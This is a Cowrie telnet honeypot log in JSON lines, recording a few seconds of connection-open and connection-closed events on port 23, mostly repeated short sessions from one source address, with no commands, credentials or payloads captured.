{"eventid":"cowrie.session.closed","duration":30.756991386413574,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:35.413513Z","src_ip":"51.161.172.108","session":"1fbac10d2a6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55184,"dst_ip":"159.203.135.109","dst_port":23,"session":"d37a404383d4","protocol":"telnet","message":"New connection: 51.161.172.108:55184 (159.203.135.109:23) [session: d37a404383d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:35.488658Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55186,"dst_ip":"159.203.135.109","dst_port":23,"session":"91485a77913c","protocol":"telnet","message":"New connection: 51.161.172.108:55186 (159.203.135.109:23) [session: 91485a77913c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:35.495783Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55188,"dst_ip":"159.203.135.109","dst_port":23,"session":"244d30cc7d65","protocol":"telnet","message":"New connection: 51.161.172.108:55188 (159.203.135.109:23) [session: 244d30cc7d65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:35.536791Z"}
{"eventid":"cowrie.session.closed","duration":31.68796706199646,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:35.671981Z","src_ip":"51.161.172.108","session":"bc89ba7c189e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55208,"dst_ip":"159.203.135.109","dst_port":23,"session":"497095d462dc","protocol":"telnet","message":"New connection: 51.161.172.108:55208 (159.203.135.109:23) [session: 497095d462dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:35.739344Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55222,"dst_ip":"159.203.135.109","dst_port":23,"session":"62d18f7a4599","protocol":"telnet","message":"New connection: 51.161.172.108:55222 (159.203.135.109:23) [session: 62d18f7a4599]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:35.845131Z"}
{"eventid":"cowrie.session.closed","duration":32.36802649497986,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:36.053775Z","src_ip":"51.161.172.108","session":"4e2f0d2f66e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.924299478530884,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:36.185043Z","src_ip":"51.161.172.108","session":"0ce5fd71d596","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.55238437652588,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:36.276777Z","src_ip":"51.161.172.108","session":"2fea694b4446","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55276,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc759eb3cd18","protocol":"telnet","message":"New connection: 51.161.172.108:55276 (159.203.135.109:23) [session: fc759eb3cd18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:36.318581Z"}
{"eventid":"cowrie.session.closed","duration":31.39206099510193,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:36.324090Z","src_ip":"51.161.172.108","session":"62291bf72638","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.273924827575684,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:36.416847Z","src_ip":"51.161.172.108","session":"c8d4cc725332","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55292,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc388e871249","protocol":"telnet","message":"New connection: 51.161.172.108:55292 (159.203.135.109:23) [session: bc388e871249]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:36.423059Z"}
{"eventid":"cowrie.session.closed","duration":30.717286825180054,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:36.428784Z","src_ip":"51.161.172.108","session":"11cc1e97dfb7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.831042766571045,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:36.520138Z","src_ip":"51.161.172.108","session":"4521cbe28666","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55306,"dst_ip":"159.203.135.109","dst_port":23,"session":"37e4b26f5e22","protocol":"telnet","message":"New connection: 51.161.172.108:55306 (159.203.135.109:23) [session: 37e4b26f5e22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:36.532017Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55308,"dst_ip":"159.203.135.109","dst_port":23,"session":"c25f9b322e08","protocol":"telnet","message":"New connection: 51.161.172.108:55308 (159.203.135.109:23) [session: c25f9b322e08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:36.649225Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55340,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0a05bcc3e5c","protocol":"telnet","message":"New connection: 51.161.172.108:55340 (159.203.135.109:23) [session: d0a05bcc3e5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:36.700856Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55366,"dst_ip":"159.203.135.109","dst_port":23,"session":"704996a76230","protocol":"telnet","message":"New connection: 51.161.172.108:55366 (159.203.135.109:23) [session: 704996a76230]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:36.843449Z"}
{"eventid":"cowrie.session.closed","duration":30.802823305130005,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:37.216679Z","src_ip":"51.161.172.108","session":"7be1a4cc5fe7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55380,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9dcd9be9b23","protocol":"telnet","message":"New connection: 51.161.172.108:55380 (159.203.135.109:23) [session: b9dcd9be9b23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:37.222179Z"}
{"eventid":"cowrie.session.closed","duration":30.73259997367859,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:37.330855Z","src_ip":"51.161.172.108","session":"f483c546f8e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55396,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0ccca12f1af","protocol":"telnet","message":"New connection: 51.161.172.108:55396 (159.203.135.109:23) [session: d0ccca12f1af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:37.367503Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55414,"dst_ip":"159.203.135.109","dst_port":23,"session":"809cb763ba89","protocol":"telnet","message":"New connection: 51.161.172.108:55414 (159.203.135.109:23) [session: 809cb763ba89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:37.512482Z"}
{"eventid":"cowrie.session.closed","duration":36.03942012786865,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:37.522225Z","src_ip":"167.99.38.72","session":"0d517b5a9962","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55450,"dst_ip":"159.203.135.109","dst_port":23,"session":"1bb7480568ca","protocol":"telnet","message":"New connection: 51.161.172.108:55450 (159.203.135.109:23) [session: 1bb7480568ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:37.743677Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55468,"dst_ip":"159.203.135.109","dst_port":23,"session":"a08f78eb62bb","protocol":"telnet","message":"New connection: 51.161.172.108:55468 (159.203.135.109:23) [session: a08f78eb62bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:37.831791Z"}
{"eventid":"cowrie.session.closed","duration":31.556425094604492,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:37.844553Z","src_ip":"51.161.172.108","session":"9c70540581d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.03706359863281,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:37.863915Z","src_ip":"51.161.172.108","session":"a38fff2ec58b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.62942600250244,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:37.944558Z","src_ip":"167.99.38.72","session":"ba73d436ef56","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.405752182006836,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:37.996697Z","src_ip":"34.69.118.1","session":"f1062d9742ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55484,"dst_ip":"159.203.135.109","dst_port":23,"session":"29738fb7324d","protocol":"telnet","message":"New connection: 51.161.172.108:55484 (159.203.135.109:23) [session: 29738fb7324d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:38.015268Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55498,"dst_ip":"159.203.135.109","dst_port":23,"session":"8cb6144b7cab","protocol":"telnet","message":"New connection: 51.161.172.108:55498 (159.203.135.109:23) [session: 8cb6144b7cab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:38.172512Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55512,"dst_ip":"159.203.135.109","dst_port":23,"session":"797c8e50ed3d","protocol":"telnet","message":"New connection: 51.161.172.108:55512 (159.203.135.109:23) [session: 797c8e50ed3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:38.209330Z"}
{"eventid":"cowrie.session.closed","duration":30.746705055236816,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:38.299193Z","src_ip":"51.161.172.108","session":"9674d37b0574","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.074784994125366,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:38.369511Z","src_ip":"51.161.172.108","session":"cd9bc7f4adaa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55520,"dst_ip":"159.203.135.109","dst_port":23,"session":"e78c5dbbc803","protocol":"telnet","message":"New connection: 51.161.172.108:55520 (159.203.135.109:23) [session: e78c5dbbc803]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:38.465387Z"}
{"eventid":"cowrie.session.closed","duration":31.440730571746826,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:38.509211Z","src_ip":"51.161.172.108","session":"eb0786309248","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55558,"dst_ip":"159.203.135.109","dst_port":23,"session":"48fe428403ff","protocol":"telnet","message":"New connection: 51.161.172.108:55558 (159.203.135.109:23) [session: 48fe428403ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:38.581256Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55540,"dst_ip":"159.203.135.109","dst_port":23,"session":"202311c4069e","protocol":"telnet","message":"New connection: 51.161.172.108:55540 (159.203.135.109:23) [session: 202311c4069e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:38.630970Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55554,"dst_ip":"159.203.135.109","dst_port":23,"session":"304fd1e51581","protocol":"telnet","message":"New connection: 51.161.172.108:55554 (159.203.135.109:23) [session: 304fd1e51581]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:38.647942Z"}
{"eventid":"cowrie.session.closed","duration":31.065357446670532,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:38.653151Z","src_ip":"51.161.172.108","session":"21eec8eaa25e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55596,"dst_ip":"159.203.135.109","dst_port":23,"session":"d044d7a484d3","protocol":"telnet","message":"New connection: 51.161.172.108:55596 (159.203.135.109:23) [session: d044d7a484d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:38.703367Z"}
{"eventid":"cowrie.session.closed","duration":31.18402647972107,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:38.743164Z","src_ip":"51.161.172.108","session":"8a89034f8cb1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55586,"dst_ip":"159.203.135.109","dst_port":23,"session":"dfde4eb65c4d","protocol":"telnet","message":"New connection: 51.161.172.108:55586 (159.203.135.109:23) [session: dfde4eb65c4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:38.770303Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55608,"dst_ip":"159.203.135.109","dst_port":23,"session":"09fb6f9ac528","protocol":"telnet","message":"New connection: 51.161.172.108:55608 (159.203.135.109:23) [session: 09fb6f9ac528]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:38.950056Z"}
{"eventid":"cowrie.session.closed","duration":36.104809284210205,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:38.990210Z","src_ip":"167.99.38.72","session":"79f785c9e72f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55602,"dst_ip":"159.203.135.109","dst_port":23,"session":"270778db1c2f","protocol":"telnet","message":"New connection: 51.161.172.108:55602 (159.203.135.109:23) [session: 270778db1c2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:39.019032Z"}
{"eventid":"cowrie.session.closed","duration":31.73036789894104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:39.103688Z","src_ip":"51.161.172.108","session":"b3dd437b6c68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.36285924911499,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:39.114831Z","src_ip":"51.161.172.108","session":"85e9c9bf23d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.13270425796509,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:39.120766Z","src_ip":"51.161.172.108","session":"18d94ebf6be8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.45639657974243,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:39.150852Z","src_ip":"51.161.172.108","session":"94876e6ed080","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":36574,"dst_ip":"10.17.0.5","dst_port":23,"session":"19940e15efef","protocol":"telnet","message":"New connection: 45.10.154.244:36574 (10.17.0.5:23) [session: 19940e15efef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:39.284221Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59864,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7b3c77ec441","protocol":"telnet","message":"New connection: 51.161.172.108:59864 (159.203.135.109:23) [session: a7b3c77ec441]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:39.500914Z"}
{"eventid":"cowrie.session.closed","duration":31.652404308319092,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:39.567281Z","src_ip":"51.161.172.108","session":"131920667754","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59880,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c27447c48c0","protocol":"telnet","message":"New connection: 51.161.172.108:59880 (159.203.135.109:23) [session: 3c27447c48c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:39.574044Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59918,"dst_ip":"159.203.135.109","dst_port":23,"session":"8023d0a16902","protocol":"telnet","message":"New connection: 51.161.172.108:59918 (159.203.135.109:23) [session: 8023d0a16902]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:39.812864Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59942,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9da7cfb263b","protocol":"telnet","message":"New connection: 51.161.172.108:59942 (159.203.135.109:23) [session: a9da7cfb263b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:39.854660Z"}
{"eventid":"cowrie.session.closed","duration":31.55149817466736,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:40.007215Z","src_ip":"51.161.172.108","session":"ea6a5f170511","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60012,"dst_ip":"159.203.135.109","dst_port":23,"session":"13f6e6c3c124","protocol":"telnet","message":"New connection: 51.161.172.108:60012 (159.203.135.109:23) [session: 13f6e6c3c124]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:40.131318Z"}
{"eventid":"cowrie.session.closed","duration":30.756487607955933,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:40.170842Z","src_ip":"45.10.154.244","session":"52e1f8d6f366","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.445327758789062,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:40.272102Z","src_ip":"45.10.154.244","session":"b57d501abe1e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.513155937194824,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:40.279867Z","src_ip":"51.161.172.108","session":"5cb81dcbeec8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.721554040908813,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:40.284813Z","src_ip":"51.161.172.108","session":"58a81b1b146f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.151763439178467,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:40.322331Z","src_ip":"51.161.172.108","session":"eb3272f93e1c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.648229598999023,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:40.405685Z","src_ip":"51.161.172.108","session":"62bd6ade2594","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.438908338546753,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:40.454957Z","src_ip":"51.161.172.108","session":"89d2b56786f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60064,"dst_ip":"159.203.135.109","dst_port":23,"session":"74cc234dd3c7","protocol":"telnet","message":"New connection: 51.161.172.108:60064 (159.203.135.109:23) [session: 74cc234dd3c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:40.594412Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59904,"dst_ip":"159.203.135.109","dst_port":23,"session":"979521958f61","protocol":"telnet","message":"New connection: 51.161.172.108:59904 (159.203.135.109:23) [session: 979521958f61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:40.643303Z"}
{"eventid":"cowrie.session.closed","duration":31.733635663986206,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:40.730643Z","src_ip":"51.161.172.108","session":"9141fa851cd8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.012890577316284,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:40.791104Z","src_ip":"51.161.172.108","session":"83a1f8b8156c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60102,"dst_ip":"159.203.135.109","dst_port":23,"session":"820e826c46c3","protocol":"telnet","message":"New connection: 51.161.172.108:60102 (159.203.135.109:23) [session: 820e826c46c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:40.833937Z"}
{"eventid":"cowrie.session.closed","duration":31.64360475540161,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:41.082695Z","src_ip":"51.161.172.108","session":"ef29ae5369f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.651840209960938,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:41.101014Z","src_ip":"45.10.154.244","session":"f36442cf159d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.342968225479126,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:41.105651Z","src_ip":"51.161.172.108","session":"7da37fa61105","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60166,"dst_ip":"159.203.135.109","dst_port":23,"session":"8422bf76134f","protocol":"telnet","message":"New connection: 51.161.172.108:60166 (159.203.135.109:23) [session: 8422bf76134f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:41.171287Z"}
{"eventid":"cowrie.session.closed","duration":30.928903341293335,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:41.232237Z","src_ip":"51.161.172.108","session":"1cc61ecb48a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60160,"dst_ip":"159.203.135.109","dst_port":23,"session":"c20a34b22820","protocol":"telnet","message":"New connection: 51.161.172.108:60160 (159.203.135.109:23) [session: c20a34b22820]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:41.246166Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60192,"dst_ip":"159.203.135.109","dst_port":23,"session":"49d40e817544","protocol":"telnet","message":"New connection: 51.161.172.108:60192 (159.203.135.109:23) [session: 49d40e817544]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:41.304009Z"}
{"eventid":"cowrie.session.closed","duration":31.528918266296387,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:41.607036Z","src_ip":"51.161.172.108","session":"6cec63361412","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60260,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3e1385182c5","protocol":"telnet","message":"New connection: 51.161.172.108:60260 (159.203.135.109:23) [session: d3e1385182c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:41.883675Z"}
